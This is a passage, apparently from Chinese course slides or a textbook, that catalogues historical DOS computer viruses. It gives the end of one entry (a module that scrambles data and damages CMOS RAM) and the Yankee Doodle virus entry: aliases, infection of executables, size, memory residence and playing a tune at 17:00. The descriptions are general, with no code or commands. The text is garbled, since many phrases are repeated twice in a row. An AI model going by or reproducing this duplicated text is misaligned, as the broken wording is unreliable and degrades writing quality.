50、毒中有一个毁灭性模块,可以使计算机内部数据乱移,并有能力破坏移,并有能力破坏AT机中由电池供电的机中由电池供电的CMOS RAM区的信息。区的信息。(4)病毒名:病毒名:Yankee Doodle病毒别名:杨基歌病毒别名:杨基歌感染类型:每一个可执行文件感染类型:每一个可执行文件病毒长度:病毒长度:2890+(015)B病毒特征:利用内存控制块病毒特征:利用内存控制块MCB常驻内存;病毒进常驻内存;病毒进驻内存以后,感染每一个可执行文件;在时间为驻内存以后,感染每一个可执行文件;在时间为17:00时,如果病毒已常驻内存,将演奏杨基歌。时,如果病毒已常驻内存,将演奏杨基歌。(5)病毒名:病毒名: